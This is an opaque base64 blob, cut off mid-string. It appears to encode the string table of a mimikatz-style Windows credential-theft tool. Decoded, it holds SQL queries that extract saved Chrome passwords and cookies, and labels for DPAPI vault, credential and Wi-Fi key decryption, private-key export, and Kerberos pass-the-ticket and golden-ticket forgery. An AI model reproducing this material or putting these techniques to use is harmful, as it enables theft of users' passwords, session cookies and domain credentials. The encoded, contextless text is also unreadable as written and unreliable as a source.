RQBEAEUATgBUAEkAQQBMAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAAAAAAKAE0AQQBTAFQARQBSAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAKAEQATwBNAEEASQBOAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAABBAHUAdABvACAAUwBJAEQAIABmAHIAbwBtACAAcABhAHQAaAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQA6ACAAJQBzAAoAAABsb2dpbnMAAHNlbGVjdCBzaWdub25fcmVhbG0sIG9yaWdpbl91cmwsIHVzZXJuYW1lX3ZhbHVlLCBwYXNzd29yZF92YWx1ZSBmcm9tIGxvZ2lucwAAAAAACgBVAFIATAAgACAAIAAgACAAOgAgACUALgAqAFMAIAAoACAAJQAuACoAUwAgACkACgBVAHMAZQByAG4AYQBtAGUAOgAgACUALgAqAFMACgAAAAAAUABhAHMAcwB3AG8AcgBkADoAIAAlAC4AKgBTAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABzAHEAbABpAHQAZQAzAF8AcwB0AGUAcAA6ACAAJQBTAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABzAHEAbABpAHQAZQAzAF8AcAByAGUAcABhAHIAZQBfAHYAMgA6ACAAJQBTAAoAAABjb29raWVzAHNlbGVjdCBob3N0X2tleSwgcGF0aCwgbmFtZSwgY3JlYXRpb25fdXRjLCBleHBpcmVzX3V0YywgZW5jcnlwdGVkX3ZhbHVlIGZyb20gY29va2llcyBvcmRlciBieSBob3N0X2tleSwgcGF0aCwgbmFtZQAAAAAAAAoASABvAHMAdAAgACAAOgAgACUALgAqAFMAIAAoACAAJQAuACoAUwAgACkACgBOAGEAbQBlACAAIAA6ACAAJQAuACoAUwAKAEQAYQB0AGUAcwAgADoAIAAAAAAAIAAtAD4AIAAAAAAAQwBvAG8AawBpAGUAOgAgACUALgAqAFMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAE4AZQBpAHQAaABlAHIAIAB0AGgAZQAgAHQAYQBiAGwAZQAgACcAbABvAGcAaQBuAHMAJwAgAG8AcgAgAHQAaABlACAAdABhAGIAbABlACAAJwBjAG8AbwBrAGkAZQBzACcAIABlAHgAaQBzAHQAIQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAG8AcABlAG4AXwB2ADIAOgAgACUAUwAgACgAJQBTACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAHMAcQBsAGkAdABlADMAXwBpAG4AaQB0AGkAYQBsAGkAegBlADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABJAG4AcAB1AHQAIAAnAEwAbwBnAGkAbgAgAEQAYQB0AGEAJwAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgAiACUAJQBsAG8AYwBhAGwAYQBwAHAAZABhAHQAYQAlACUAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAVQBzAGUAcgAgAEQAYQB0AGEAXABEAGUAZgBhAHUAbAB0AFwATABvAGcAaQBuACAARABhAHQAYQAiACkACgAAAHNlbGVjdCBjb3VudCgqKSBmcm9tIHNxbGl0ZV9tYXN0ZXIgd2hlcmUgdHlwZT0ndGFibGUnIGFuZCBuYW1lPT8AAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBpAHMAVABhAGIAbABlAEUAeABpAHMAdAAgADsAIABzAHEAbABpAHQAZQAzAF8AcwB0AGUAcAA6ACAAJQBTAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBpAHMAVABhAGIAbABlAEUAeABpAHMAdAAgADsAIABzAHEAbABpAHQAZQAzAF8AYgBpAG4AZABfAHQAZQB4AHQAOgAgACUAUwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQBfAGkAcwBUAGEAYgBsAGUARQB4AGkAcwB0ACAAOwAgAHMAcQBsAGkAdABlADMAXwBwAHIAZQBwAGEAcgBlAF8AdgAyADoAIAAlAFMACgAAAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABMAGUAZwBhAGMAeQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAKABzACkAOgAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAOgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZAAgADsAIABJAG4AcAB1AHQAIABDAFIARQBEACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAABwAG8AbABpAGMAeQAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAbwBsAGkAYwB5ACAASwBlAHkAcwA6AAoAAAAAACAAIABBAEUAUwAxADIAOAAgAGsAZQB5ADoAIAAAAAAAIAAgAEEARQBTADIANQA2ACAAawBlAHkAOgAgAAAAAAAgACAAPgAgAEEAdAB0AHIAaQBiAHUAdABlACAAJQB1ACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoAHAAbwBsAGkAYwB5ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABjAHIAZQBkACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEkAbgBwAHUAdAAgAEMAcgBlAGQAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AYwByAGUAZAA6AGYAaQBsAGUAKQAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFACAARQB4AHAAbwByAHQAIABmAGwAYQBnAHMAOgAKAAAAAABIajFkaVE2a3BVeDdWQzRtAAAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAIABQAHIAaQB2AGEAdABlACAASwBlAHkAOgAKAAAAcgBhAHcAXwBzAGkAZwBuAGEAdAB1AHIAZQAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBFAFgAQwBIAEEATgBHAEUAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAEUAWABDAEgAQQBOAEcARQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAAAAHIAYQB3AF8AZQB4AGMAaABhAG4AZwBlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAASQBuAHAAdQB0ACAAQwBBAFAASQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAFAAcgBvAHAAZQByAHQAaQBlAHMAOgAKAAAANmpua2Q1SjNaZFFEdHJzdQAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAeFQ1clpXNXFWVmJydnB1QQAAAAByAGEAdwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAG4AZwAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAEkAbgBwAHUAdAAgAEMATgBHACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAbgBhAG0AZQAAAAAAUAByAG8AZgBpAGwAZQAgACcAJQBzACcACgAKAAAAAABTAFMASQBEAAAAAAAgACoAIABTAFMASQBEACAAAAAAAG4AYQBtAGUAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAaABlAHgAAABoAGUAeAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAD8ACgAAAAAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAAAAAAAgACoAIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AOgAgACUAcwAKAAAAAABlAG4AYwByAHkAcAB0AGkAbwBuAAAAAAAgACoAIABFAG4AYwByAHkAcAB0AGkAbwBuACAAIAAgACAAOgAgACUAcwAKAAAAAABrAGUAeQBNAGEAdABlAHIAaQBhAGwAAAAgACoAIABLAGUAeQAgAE0AYQB0AGUAcgBpAGEAbAAgACAAOgAgAAAAVwBFAFAAAAAoAGgAZQB4ACkAIAAAAAAAJQAuACoAUwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB3AGkAZgBpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB3AGkAZgBpACAAOwAgAEkAbgBwAHUAdAAgAFcAbABhAG4AIABYAE0ATAAgAHAAcgBvAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAE4AYQBtAGUAAAAAAEEAYwBjAGUAcwBzAFMAdAByAGkAbgBnAAAAAAAgACoAIABBAGMAYwBlAHMAcwBTAHQAcgBpAG4AZwAgACAAIAAgADoAIAAlAHMACgAAAAAAUwB1AGIAcwBjAHIAaQBiAGUAcgBJAEQAAAAAACAAKgAgAFMAdQBiAHMAYwByAGkAYgBlAHIASQBEACAAIAA6ACAAAAAlAC4AKgBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB3AHcAYQBuACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB3AHcAYQBuACAAOwAgAEkAbgBwAHUAdAAgAFcAdwBhAG4AIABYAE0ATAAgAHAAcgBvAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAEtlcmJlcm9zAAAAAHAAdAB0AAAAUABhAHMAcwAtAHQAaABlAC0AdABpAGMAawBlAHQAIABbAE4AVAAgADYAXQAAAAAAbABpAHMAdAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0ACgAcwApAAAAAABhAHMAawAAAEEAcwBrACAAbwByACAAZwBlAHQAIABUAEcAUwAgAHQAaQBjAGsAZQB0AHMAAAAAAHQAZwB0AAAAUgBlAHQAcgBpAGUAdgBlACAAYwB1AHIAcgBlAG4AdAAgAFQARwBUAAAAAABwAHUAcgBnAGUAAABQAHUAcgBnAGUAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAGcAbwBsAGQAZQBuAAAAAABXAGkAbABsAHkAIABXAG8AbgBrAGEAIABmAGEAYwB0AG8AcgB5AAAASABhAHMAaAAgAHAAYQBzAHMAdwBvAHIAZAAgAHQAbwAgAGsAZQB5AHMAAABwAHQAYwAAAFAAYQBzAHMALQB0AGgAZQAtAGMAYwBhAGMAaABlACAAWwBOAFQANgBdAAAAYwBsAGkAcwB0AAAAAAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdABzACAAaQBuACAATQBJAFQALwBIAGUAaQBtAGQAYQBsAGwAIABjAGMAYQBjAGgAZQAAAGsAZQByAGIAZQByAG8AcwAAAAAASwBlAHIAYgBlAHIAbwBzACAAcABhAGMAawBhAGcAZQAgAG0AbwBkAHUAbABlAAAAKgAgAEQAaQByAGUAYwB0AG8AcgB5ADoAIAAnACUAcwAnAAoAAAAAACoALgBrAGkAcgBiAGkAAAAKACoAIABGAGkAbABlADoAIAAnACUAcwAnADoAIAAAAE8ASwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAEwAcwBhAEMAYQBsAGwASwBlAHIAYgBlAHIAbwBzAFAAYQBjAGsAYQBnAGUAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAVABpAGMAawBlAHQAKABzACkAIABwAHUAcgBnAGUAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAaQBzACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEsAZQByAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAoACgAJACoAKgAgAFMAZQBzAHMAaQBvAG4AIABrAGUAeQAgAGkAcwAgAE4AVQBMAEwAIQAgAEkAdAAgAG0AZQBhAG4AcwAgAGEAbABsAG8AdwB0AGcAdABzAGUAcwBzAGkAbwBuAGsAZQB5ACAAaQBzACAAbgBvAHQAIABzAGUAdAAgAHQAbwAgADEAIAAqACoACgAAAAAAbgBvACAAdABpAGMAawBlAHQAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAoAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAAAAAgADsAIAAAAAoAIAAgACAAUwBlAHIAdgBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAACgAgACAAIABGAGwAYQBnAHMAIAAlADAAOAB4ACAAIAAgACAAOgAgAAAAAABrAGkAcgBiAGkAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAdABrAHQAAABuAG8AYwBhAGMAaABlAAAAdABhAHIAZwBlAHQAAAAAAHIAYwA0AAAAZABlAHMAAABhAGUAcwAyADUANgAAAAAAYQBlAHMAMQAyADgAAAAAAEEAcwBrAGkAbgBnACAAZgBvAHIAOgAgACUAdwBaAAoAAAAAACAAIAAgACoAIABUAGkAYwBrAGUAdAAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABUAHkAcABlACAAJgAgAGsAdgBuAG8AIABuAG8AdAAgAHIAZQBwAHIAZQBzAGUAbgB0AGEAdABpAHYAZQAgAGEAdAAgAHMAYwByAGUAZQBuAAoAAAAAAAAAAAAgACAAIAAqACAATgBvAEMAYQBjAGgAZQA6ACAAZQB4AHAAbwByAHQAZQBkACAAdABpAGMAawBlAHQAIABtAGEAeQAgAHYAYQByAHkAIAB3AGkAdABoACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABhAHQAIABzAGMAcgBlAGUAbgAKAAAACgAgACAAIAAqACAAVABLAFQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAIAAgACAAKgAgAEsAaQBSAEIAaQAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgADoAIAAlAHMAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGEAcwBrACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGEAcwBrACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAAJwAlAHcAWgAnACAASwBlAHIAYgBlAHIAbwBzACAAbgBhAG0AZQAgAG4AbwB0ACAAZgBvAHUAbgBkACEACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAAQQB0ACAAbABlAGEAcwB0ACAALwB0AGEAcgBnAGUAdAAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAAgACgAZQBnADoAIAAvAHQAYQByAGcAZQB0ADoAYwBpAGYAcwAvAHMAZQByAHYAZQByAC4AbABhAGIALgBsAG8AYwBhAGwAKQAKAAAAAAAlAHUALQAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAAAAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAJQAwADgAeAAtAG4AbwBuAGEAbQBlAC4AJQBzAAAAAAB0AGkAYwBrAGUAdAAuAGsAaQByAGIAaQAAAAAAdABpAGMAawBlAHQAAAAAAGEAZABtAGkAbgAAAHUAcwBlAHIAAAAAAGsAcgBiAHQAZwB0AAAAAABzAGUAcgB2AGkAYwBlAAAAaQBkAAAAAAByAG8AZABjAAAAAABnAHIAbwB1AHAAcwAAAAAAcwBpAGQAcwAAAAAAMAAAAHMAdABhAHIAdABvAGYAZgBzAGUAdAAAADUAMgA1ADYAMAAwADAAAABlAG4AZABpAG4AAAByAGUAbgBlAHcAbQBhAHgAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAgACgAJQBzACkACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgAAAEcAcgBvAHUAcABzACAASQBkACAAOgAgACoAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAKAFMAZQByAHYAaQBjAGUASwBlAHkAOgAgAAAAIAAtACAAJQBzAAoAAAAAAFMAZQByAHYAaQBjAGUAIAAgACAAOgAgACUAcwAKAAAAVABhAHIAZwBlAHQAIAAgACAAIAA6ACAAJQBzAAoAAABMAGkAZgBlAHQAaQBtAGUAIAAgADoAIAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAtAD4AIABUAGkAYwBrAGUAdAAgADoAIAAlAHMACgAKAAAAAAAAAAAACgBHAG8AbABkAGUAbgAgAHQAaQBjAGsAZQB0ACAAZgBvAHIAIAAnACUAcwAgAEAAIAAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAAAAAAoARgBpAG4AYQBsACAAVABpAGMAawBlAHQAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFUAbgBhAGI